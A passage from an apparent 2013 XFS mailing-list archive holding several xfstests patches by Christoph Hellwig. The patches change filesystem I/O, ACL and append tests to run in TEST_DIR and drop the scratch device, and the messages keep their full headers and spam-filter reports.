-c "pread -v 10240 2048" \ - $SCRATCH_MNT/aligned_vector_rw | _filter_xfs_io_unique + $testdir/aligned_vector_rw | _filter_xfs_io_unique $XFS_IO_PROG -f -c "pwrite -S 0x70 12288 4096" \ -c "pread -v 0 4096" \ -c "pread -v 4096 4096" \ -c "pread -v 8192 4096" \ -c "pread -v 12288 4096" \ - $SCRATCH_MNT/aligned_vector_rw | _filter_xfs_io_unique + $testdir/aligned_vector_rw | _filter_xfs_io_unique $XFS_IO_PROG -f -c "pwrite -S 0x71 16384 8192" \ -c "pwrite -S 0x72 24576 8192" \ @@ -100,7 +99,7 @@ $XFS_IO_PROG -f -c "pwrite -S 0x71 16384 8192" \ -c "pread -v 8192 8192" \ -c "pread -v 8192 8192" \ -c "pread -v 16384 8192" \ - $SCRATCH_MNT/aligned_vector_rw | _filter_xfs_io_unique + $testdir/aligned_vector_rw | _filter_xfs_io_unique $XFS_IO_PROG -f -c "pwrite -S 0x73 32768 16384" \ -c "pwrite -S 0x74 49152 16384" \ @@ -108,7 +107,7 @@ $XFS_IO_PROG -f -c "pwrite -S 0x73 32768 16384" \ -c "pread -v 16384 16384" \ -c "pread -v 32768 16384" \ -c "pread -v 49152 16384" \ - $SCRATCH_MNT/aligned_vector_rw | _filter_xfs_io_unique + $testdir/aligned_vector_rw | _filter_xfs_io_unique $XFS_IO_PROG -f -c "pwrite -S 0x75 65536 32768" \ -c "pwrite -S 0x76 98304 32768" \ @@ -116,7 +115,7 @@ $XFS_IO_PROG -f -c "pwrite -S 0x75 65536 32768" \ -c "pread -v 32768 32768" \ -c "pread -v 65536 32768" \ -c "pread -v 98304 32768" \ - $SCRATCH_MNT/aligned_vector_rw | _filter_xfs_io_unique + $testdir/aligned_vector_rw | _filter_xfs_io_unique $XFS_IO_PROG -f -c "pwrite -S 0x76 131072 65536" \ -c "pwrite -S 0x77 196608 65536" \ @@ -124,7 +123,7 @@ $XFS_IO_PROG -f -c "pwrite -S 0x76 131072 65536" \ -c "pread -v 65536 65536" \ -c "pread -v 131072 65536" \ -c "pread -v 196608 65536" \ - $SCRATCH_MNT/aligned_vector_rw | _filter_xfs_io_unique + $testdir/aligned_vector_rw | _filter_xfs_io_unique $XFS_IO_PROG -f -c "pwrite -S 0x76 262144 131072" \ -c "pwrite -S 0x77 393216 131072" \ @@ -132,14 +131,14 @@ $XFS_IO_PROG -f -c "pwrite -S 0x76 262144 131072" \ -c "pread -v 131072 131072" \ -c "pread -v 262144 131072" \ -c "pread -v 393216 131072" \ - $SCRATCH_MNT/aligned_vector_rw | _filter_xfs_io_unique + $testdir/aligned_vector_rw | _filter_xfs_io_unique $XFS_IO_PROG -f -c "pwrite -S 0x76 524288 524288" \ -c "pwrite -S 0x77 1048576 524288" \ -c "pread -v 0 524288" \ -c "pread -v 524288 524288" \ -c "pread -v 1048576 524288" \ - $SCRATCH_MNT/aligned_vector_rw | _filter_xfs_io_unique + $testdir/aligned_vector_rw | _filter_xfs_io_unique $XFS_IO_PROG -f -c "pwrite -S 0x32 1048576 1048576" \ -c "pwrite -S 0x33 2097152 1048576" \ @@ -158,7 +157,7 @@ $XFS_IO_PROG -f -c "pwrite -S 0x32 1048576 1048576" \ -c "pread -v 6291456 1048576" \ -c "pread -v 7340032 1048576" \ -c "pread -v 8388608 1048576" \ - $SCRATCH_MNT/aligned_vector_rw | _filter_xfs_io_unique + $testdir/aligned_vector_rw | _filter_xfs_io_unique $XFS_IO_PROG -f -c "pwrite -S 0x32 1048576 1048576" \ -c "pwrite -S 0x33 2097152 1048576" \ @@ -179,7 +178,7 @@ $XFS_IO_PROG -f -c "pwrite -S 0x32 1048576 1048576" \ -c "pread -v 7340032 1048576" \ -c "pread -v 8388608 1048576" \ -c "pread -v 9437184 1048576" \ - $SCRATCH_MNT/aligned_vector_rw | _filter_xfs_io_unique + $testdir/aligned_vector_rw | _filter_xfs_io_unique $XFS_IO_PROG -f -c "pwrite -S 0x92 10485760 10485760" \ -c "pwrite -S 0x93 20971520 10485760" \ @@ -200,7 +199,7 @@ $XFS_IO_PROG -f -c "pwrite -S 0x92 10485760 10485760" \ -c "pread -v 73400320 10485760" \ -c "pread -v 83886080 10485760" \ -c "pread -v 94371840 10485760" \ - $SCRATCH_MNT/aligned_vector_rw | _filter_xfs_io_unique + $testdir/aligned_vector_rw | _filter_xfs_io_unique status=0 exit -- 1.7.10.4 From BATV+73d073057c8fc0323e65+3762+infradead.org+hch@bombadil.srs.infradead.org Wed Dec 11 01:36:29 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id F31497FE2 for ; Wed, 11 Dec 2013 01:36:28 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id E09C7304066 for ; Tue, 10 Dec 2013 23:36:28 -0800 (PST) X-ASG-Debug-ID: 1386747387-04cb6c537b697410001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id y4HaZuCEyHljAPhQ (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 10 Dec 2013 23:36:27 -0800 (PST) X-Barracuda-Envelope-From: BATV+73d073057c8fc0323e65+3762+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VqeLL-0004u2-Bt; Wed, 11 Dec 2013 07:36:27 +0000 Message-Id: <20131211073627.256859075@bombadil.infradead.org> User-Agent: quilt/0.60-1 Date: Tue, 10 Dec 2013 23:34:53 -0800 From: Christoph Hellwig To: xfs@oss.sgi.com Cc: Stanislav Kholmanskikh Subject: [PATCH 08/12] 130: use TEST_DIR instead of a SCRATCH_DEV References: <20131211073445.353655850@bombadil.infradead.org> X-ASG-Orig-Subj: [PATCH 08/12] 130: use TEST_DIR instead of a SCRATCH_DEV Content-Disposition: inline; filename=0008-130-use-TEST_DIR-instead-of-a-SCRATCH_DEV.patch X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1386747387 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC5_MJ1963, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143007 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 The test does not require a fresh file system. Signed-off-by: Christoph Hellwig --- tests/generic/130 | 47 ++++++++++++++++++++++++----------------------- 1 file changed, 24 insertions(+), 23 deletions(-) diff --git a/tests/generic/130 b/tests/generic/130 index 8367dc7..833474d 100755 --- a/tests/generic/130 +++ b/tests/generic/130 @@ -48,37 +48,38 @@ trap "exit \$status" 0 1 2 3 15 _supported_fs generic _supported_os Linux IRIX -_require_scratch _require_sparse_files -_scratch_mkfs >/dev/null 2>&1 -_scratch_mount +testdir=$TEST_DIR/dir.$seq + +rm -rf $testdir +mkdir $testdir echo "End-of-file zeroing with direct I/O" $XFS_IO_PROG -f -d -t -c "pwrite -S 0x63 0 65536" \ -c "truncate 1" \ -c "pwrite -S 0x41 65536 65536" \ -c "pread -v 0 131072" \ - $SCRATCH_MNT/eof-zeroing_direct | _filter_xfs_io_unique + $testdir/eof-zeroing_direct | _filter_xfs_io_unique echo echo "Basic Block Hole test" $XFS_IO_PROG -f -t -c "truncate 8192" \ -c "pread -v 5000 3000" \ - $SCRATCH_MNT/blackhole | _filter_xfs_io_unique + $testdir/blackhole | _filter_xfs_io_unique echo echo "Test buffered and direct IO coherency" $XFS_IO_PROG -f -t -c "pwrite -S 0x41 8000 1000" \ -c "pwrite -S 0x57 4000 1000" \ - $SCRATCH_MNT/buff_direct_coherency | _filter_xfs_io_unique + $testdir/buff_direct_coherency | _filter_xfs_io_unique $XFS_IO_PROG -d -c "pwrite -S 0x78 20480 4096"\ -c "pwrite -S 0x79 4096 4096"\ - $SCRATCH_MNT/buff_direct_coherency | _filter_xfs_io_unique + $testdir/buff_direct_coherency | _filter_xfs_io_unique $XFS_IO_PROG -c "pread -v 0 9000"\ - $SCRATCH_MNT/buff_direct_coherency | _filter_xfs_io_unique + $testdir/buff_direct_coherency | _filter_xfs_io_unique echo echo "Test direct read and write" @@ -86,19 +87,19 @@ $XFS_IO_PROG -f -d -t -c "pwrite -S 0x78 0 65536"\ -c "pread -v 0 65536"\ -c "pwrite -S 0x46 65536 6553600"\ -c "pread -v 0 6619136"\ - $SCRATCH_MNT/direct_io | _filter_xfs_io_unique + $testdir/direct_io | _filter_xfs_io_unique $XFS_IO_PROG -d -c "pread -v 0 6619136"\ - $SCRATCH_MNT/direct_io | _filter_xfs_io_unique + $testdir/direct_io | _filter_xfs_io_unique $XFS_IO_PROG -f -d -t -c "pwrite -S 0x61 0 65536"\ -c "pread -v 0 65536"\ -c "pwrite -S 0x62 65536 131072"\ -c "pread -v 0 131072"\ - $SCRATCH_MNT/async_direct_io | _filter_xfs_io_unique + $testdir/async_direct_io | _filter_xfs_io_unique $XFS_IO_PROG -d -c "pread -v 0 131072"\ - $SCRATCH_MNT/async_direct_io | _filter_xfs_io_unique + $testdir/async_direct_io | _filter_xfs_io_unique echo echo "FSB Edge test" @@ -108,30 +109,30 @@ $XFS_IO_PROG -f -t -c "truncate 131072"\ -c "truncate 131072"\ -c "pwrite -S 0x61 65535 2"\ -c "pread -v 0 131072"\ - $SCRATCH_MNT/fsb_edge_test | _filter_xfs_io_unique + $testdir/fsb_edge_test | _filter_xfs_io_unique echo echo "Open Trunk test (O_TRUNC)" for n in 0 1 2 3 4 do - $XFS_IO_PROG -f -t -c "pread -v 0 100" $SCRATCH_MNT/$n | _filter_xfs_io_unique + $XFS_IO_PROG -f -t -c "pread -v 0 100" $testdir/$n | _filter_xfs_io_unique - echo "Test" > $SCRATCH_MNT/$n - $XFS_IO_PROG -f -t -c "pread -v 0 100" $SCRATCH_MNT/$n | _filter_xfs_io_unique - cat $SCRATCH_MNT/$n + echo "Test" > $testdir/$n + $XFS_IO_PROG -f -t -c "pread -v 0 100" $testdir/$n | _filter_xfs_io_unique + cat $testdir/$n done echo "DONE" echo echo "Append test" -echo "append to me" > $SCRATCH_MNT/append +echo "append to me" > $testdir/append $XFS_IO_PROG -a -c "pwrite -S 0x61 0 10" \ -c "pread -v 0 24"\ - $SCRATCH_MNT/append | _filter_xfs_io_unique + $testdir/append | _filter_xfs_io_unique echo echo "Small Vector Async" -echo "abcdefghijklmnopqrstuvwxyz" > $SCRATCH_MNT/small_vector_async +echo "abcdefghijklmnopqrstuvwxyz" > $testdir/small_vector_async $XFS_IO_PROG -f -c "pread -v 0 1"\ -c "pread -v 1 1"\ -c "pread -v 2 1"\ @@ -186,11 +187,11 @@ $XFS_IO_PROG -f -c "pread -v 0 1"\ -c "pread -v 10000000004 4"\ -c "pread -v 10000000008 4"\ -c "pread -v 10000000012 4"\ - $SCRATCH_MNT/small_vector_async | _filter_xfs_io_unique + $testdir/small_vector_async | _filter_xfs_io_unique echo echo "Small Vector Sync" -echo "abcdefghijklmnopqrstuvwxyz" > $SCRATCH_MNT/small_vector_async +echo "abcdefghijklmnopqrstuvwxyz" > $testdir/small_vector_async $XFS_IO_PROG -f -s -c "pread -v 0 1"\ -c "pread -v 1 1"\ -c "pread -v 2 1"\ @@ -245,7 +246,7 @@ $XFS_IO_PROG -f -s -c "pread -v 0 1"\ -c "pread -v 10000000004 4"\ -c "pread -v 10000000008 4"\ -c "pread -v 10000000012 4"\ - $SCRATCH_MNT/small_vector_async | _filter_xfs_io_unique + $testdir/small_vector_async | _filter_xfs_io_unique status=0 exit -- 1.7.10.4 From BATV+73d073057c8fc0323e65+3762+infradead.org+hch@bombadil.srs.infradead.org Wed Dec 11 01:36:32 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 4B54C7FEC for ; Wed, 11 Dec 2013 01:36:31 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 2ABFC304066 for ; Tue, 10 Dec 2013 23:36:28 -0800 (PST) X-ASG-Debug-ID: 1386747387-04cb6c537d697410001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id PirqAQpROnEckSUC (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 10 Dec 2013 23:36:27 -0800 (PST) X-Barracuda-Envelope-From: BATV+73d073057c8fc0323e65+3762+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VqeLK-0004sH-Sk; Wed, 11 Dec 2013 07:36:26 +0000 Message-Id: <20131211073626.804868050@bombadil.infradead.org> User-Agent: quilt/0.60-1 Date: Tue, 10 Dec 2013 23:34:50 -0800 From: Christoph Hellwig To: xfs@oss.sgi.com Cc: Stanislav Kholmanskikh Subject: [PATCH 05/12] 105: use TEST_DIR instead of a SCRATCH_DEV References: <20131211073445.353655850@bombadil.infradead.org> X-ASG-Orig-Subj: [PATCH 05/12] 105: use TEST_DIR instead of a SCRATCH_DEV Content-Disposition: inline; filename=0005-105-use-TEST_DIR-instead-of-a-SCRATCH_DEV.patch X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1386747387 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC5_MJ1963, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143007 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 The test does not require a fresh file system. Signed-off-by: Christoph Hellwig --- tests/generic/105 | 31 +++++++++++-------------------- 1 file changed, 11 insertions(+), 20 deletions(-) diff --git a/tests/generic/105 b/tests/generic/105 index 2f99401..341d0b8 100755 --- a/tests/generic/105 +++ b/tests/generic/105 @@ -52,48 +52,39 @@ _supported_os IRIX Linux rm -f $seqres.full -_require_scratch _require_acls _acl_setup_ids -umount $SCRATCH_DEV >/dev/null 2>&1 -echo "*** MKFS ***" >>$seqres.full -echo "" >>$seqres.full -_scratch_mkfs >>$seqres.full 2>&1 \ - || _fail "mkfs failed" -_scratch_mount >>$seqres.full 2>&1 \ - || _fail "mount failed" - -cd $SCRATCH_MNT +cd $TESTDIR # create a dir with out execute perms -mkdir -m 600 subdir +mkdir -m 600 subdir105 # make it owned by $acl1 -chown $acl1 subdir +chown $acl1 subdir105 # put a file in the directory -echo data > subdir/file -_ls_l subdir/file | awk '{ print $1, $3 }' +echo data > subdir105/file +_ls_l subdir105/file | awk '{ print $1, $3 }' # add an ACL with a user ACE which has no exec permission if [ "$HOSTOS" == "Linux" ]; then - setfacl -m u:$acl1:r subdir + setfacl -m u:$acl1:r subdir105 elif [ "$HOSTOS" == "IRIX" ]; then - chacl u:$acl:r--,g::---,o::--- subdir + chacl u:$acl:r--,g::---,o::--- subdir105 else echo "Unknown OS!" exit 1 fi -# With the bug this gives: `ls: subdir/file: Permission denied' +# With the bug this gives: `ls: subdir105/file: Permission denied' # because one needs at least an exec perm somewhere in acl # However, this should not hold true for directories. -_ls_l subdir/file | awk '{ print $1, $3 }' +_ls_l subdir105/file | awk '{ print $1, $3 }' -# With the bug this gives: `subdir/file2: Permission denied'. -echo data2 > subdir/file2 +# With the bug this gives: `subdir105/file2: Permission denied'. +echo data2 > subdir105/file2 # success, all done status=0 -- 1.7.10.4 From BATV+73d073057c8fc0323e65+3762+infradead.org+hch@bombadil.srs.infradead.org Wed Dec 11 01:36:33 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 872C77FEE for ; Wed, 11 Dec 2013 01:36:31 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 22088AC00B for ; Tue, 10 Dec 2013 23:36:28 -0800 (PST) X-ASG-Debug-ID: 1386747387-04bdf0131b1a51c0001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id RHtYNPmzBQn3ow1o (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 10 Dec 2013 23:36:27 -0800 (PST) X-Barracuda-Envelope-From: BATV+73d073057c8fc0323e65+3762+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VqeLL-0004tR-6B; Wed, 11 Dec 2013 07:36:27 +0000 Message-Id: <20131211073627.081037580@bombadil.infradead.org> User-Agent: quilt/0.60-1 Date: Tue, 10 Dec 2013 23:34:52 -0800 From: Christoph Hellwig To: xfs@oss.sgi.com Cc: Stanislav Kholmanskikh Subject: [PATCH 07/12] 124: use TEST_DIR instead of a SCRATCH_DEV References: <20131211073445.353655850@bombadil.infradead.org> X-ASG-Orig-Subj: [PATCH 07/12] 124: use TEST_DIR instead of a SCRATCH_DEV Content-Disposition: inline; filename=0007-124-use-TEST_DIR-instead-of-a-SCRATCH_DEV.patch X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1386747387 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143007 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- The test does not require a fresh file system. Signed-off-by: Christoph Hellwig --- tests/generic/124 | 11 ++--------- 1 file changed, 2 insertions(+), 9 deletions(-) diff --git a/tests/generic/124 b/tests/generic/124 index 93ec4a1..132f2bf 100755 --- a/tests/generic/124 +++ b/tests/generic/124 @@ -48,12 +48,10 @@ _cleanup() _supported_fs generic _supported_os Linux -_require_scratch -_scratch_mkfs >/dev/null 2>&1 -_scratch_mount +rm -f $TEST_DIR/rw_pattern.$seq $TEST_DIR/rw_pattern.$seq # Run preallo_rw_pattern on both test and scratch partitions -for TESTFILE in $TEST_DIR/rw_pattern.tmp $SCRATCH_MNT/rw_pattern.tmp +for TESTFILE in $TEST_DIR/rw_pattern.$seq $TEST_DIR/rw_pattern.$seq do count=1 while (( count < 101 )) @@ -74,9 +72,4 @@ if (test $? -eq 0 ) then status=0 fi -umount $SCRATCH_DEV - -_check_test_fs -_check_scratch_fs - exit -- 1.7.10.4 From BATV+73d073057c8fc0323e65+3762+infradead.org+hch@bombadil.srs.infradead.org Wed Dec 11 01:36:33 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id DC02E7FFC for ; Wed, 11 Dec 2013 01:36:31 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 75B08AC012 for ; Tue, 10 Dec 2013 23:36:28 -0800 (PST) X-ASG-Debug-ID: 1386747386-04cb6c537e697410001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id MluE68FB3dgeQPZt (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 10 Dec 2013 23:36:27 -0800 (PST) X-Barracuda-Envelope-From: BATV+73d073057c8fc0323e65+3762+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VqeLK-0004r6-KV; Wed, 11 Dec 2013 07:36:26 +0000 Message-Id: <20131211073626.560323136@bombadil.infradead.org> User-Agent: quilt/0.60-1 Date: Tue, 10 Dec 2013 23:34:48 -0800 From: Christoph Hellwig To: xfs@oss.sgi.com Cc: Stanislav Kholmanskikh Subject: [PATCH 03/12] 079: use TEST_DIR instead of a SCRATCH_DEV References: <20131211073445.353655850@bombadil.infradead.org> X-ASG-Orig-Subj: [PATCH 03/12] 079: use TEST_DIR instead of a SCRATCH_DEV Content-Disposition: inline; filename=0003-079-use-TEST_DIR-instead-of-a-SCRATCH_DEV.patch X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1386747387 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143007 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- The test does not require a fresh file system. Signed-off-by: Christoph Hellwig --- tests/generic/079 | 10 ++-------- 1 file changed, 2 insertions(+), 8 deletions(-) diff --git a/tests/generic/079 b/tests/generic/079 index a533484..044447a 100755 --- a/tests/generic/079 +++ b/tests/generic/079 @@ -36,8 +36,7 @@ _cleanup() { cd / echo "*** cleaning up" - $timmutable -r $SCRATCH_MNT/$seq - umount $SCRATCH_MNT + $timmutable -r $TEST_DIR/$seq } # get standard environment, filters and checks @@ -49,16 +48,11 @@ _supported_fs generic _supported_os Linux _require_attrs -_require_scratch [ -x $timmutable ] || _notrun "t_immutable was not built for this platform" -# real QA test starts here -_scratch_mkfs >/dev/null 2>&1 || _fail "mkfs failed" -_scratch_mount || _fail "mount failed" - echo "*** starting up" -$timmutable -c $SCRATCH_MNT/$seq >$tmp.out 2>&1 +$timmutable -c $TEST_DIR/$seq >$tmp.out 2>&1 if grep -q 'Operation not supported' $tmp.out; then rm -f $tmp.out _notrun "Setting immutable/append flag not supported" -- 1.7.10.4 From BATV+73d073057c8fc0323e65+3762+infradead.org+hch@bombadil.srs.infradead.org Wed Dec 11 01:36:34 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id D106B7FF3 for ; Wed, 11 Dec 2013 01:36:31 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 5777FAC011 for ; Tue, 10 Dec 2013 23:36:28 -0800 (PST) X-ASG-Debug-ID: 1386747386-04cb6c537b697400001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id Xux5TBT1PGARFkk6 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 10 Dec 2013 23:36:27 -0800 (PST) X-Barracuda-Envelope-From: BATV+73d073057c8fc0323e65+3762+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VqeLK-0004qW-Gt; Wed, 11 Dec 2013 07:36:26 +0000 Message-Id: <20131211073626.435083084@bombadil.infradead.org> User-Agent: quilt/0.60-1 Date: Tue, 10 Dec 2013 23:34:47 -0800 From: Christoph Hellwig To: xfs@oss.sgi.com Cc: Stanislav Kholmanskikh Subject: [PATCH 02/12] 069: use TEST_DIR instead of a SCRATCH_DEV References: <20131211073445.353655850@bombadil.infradead.org> X-ASG-Orig-Subj: [PATCH 02/12] 069: use TEST_DIR instead of a SCRATCH_DEV Content-Disposition: inline; filename=0002-069-use-TEST_DIR-instead-of-a-SCRATCH_DEV.patch X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1386747387 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC5_MJ1963, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143007 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 The test does not require a fresh file system. Signed-off-by: Christoph Hellwig --- tests/generic/069 | 23 +++++++++-------------- tests/generic/069.out | 2 -- 2 files changed, 9 insertions(+), 16 deletions(-) diff --git a/tests/generic/069 b/tests/generic/069 index c3fa862..f55da37 100755 --- a/tests/generic/069 +++ b/tests/generic/069 @@ -39,18 +39,13 @@ trap "rm -rf $tmp.*; exit \$status" 0 1 2 3 15 _supported_fs generic _supported_os IRIX Linux -_require_scratch rm -f $seqres.full -umount $SCRATCH_DEV >/dev/null 2>&1 +dir="$TEST_DIR/append" -echo "*** mkfs" -_scratch_mkfs >/dev/null 2>&1 || _fail "mkfs failed" - -echo "*** mount FS" -_scratch_mount >/dev/null || _fail "mount failed" - -cd $SCRATCH_MNT +rm -rf $dir +mkdir $dir +cd $dir sizes="1 20 300 40000 3000000 12345" for size in $sizes ; do @@ -61,18 +56,18 @@ done cd $here wait -ls -lh $SCRATCH_MNT >> $seqres.full +ls -lh $dir >> $seqres.full echo "*** PIDs file" >> $seqres.full -cat $SCRATCH_MNT/pids >> $seqres.full +cat $dir/pids >> $seqres.full -cat $SCRATCH_MNT/pids | while read pid size +cat $dir/pids | while read pid size do echo "*** checking file with $size integers" echo checking pid=$pid size=$size >> $seqres.full - $here/src/append_reader $SCRATCH_MNT/testfile.$pid + $here/src/append_reader $dir/testfile.$pid status=$? [ $status -ne 0 ] && \ - echo "maybe corrupt O_APPEND to $SCRATCH_MOUNT/testfile.$pid!" + echo "maybe corrupt O_APPEND to $dir/testfile.$pid!" echo status: $status >> $seqres.full done diff --git a/tests/generic/069.out b/tests/generic/069.out index 0d7b23c..491ea57 100644 --- a/tests/generic/069.out +++ b/tests/generic/069.out @@ -1,6 +1,4 @@ QA output created by 069 -*** mkfs -*** mount FS *** checking file with 1 integers *** checking file with 20 integers *** checking file with 300 integers -- 1.7.10.4 From BATV+73d073057c8fc0323e65+3762+infradead.org+hch@bombadil.srs.infradead.org Wed Dec 11 01:36:31 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham 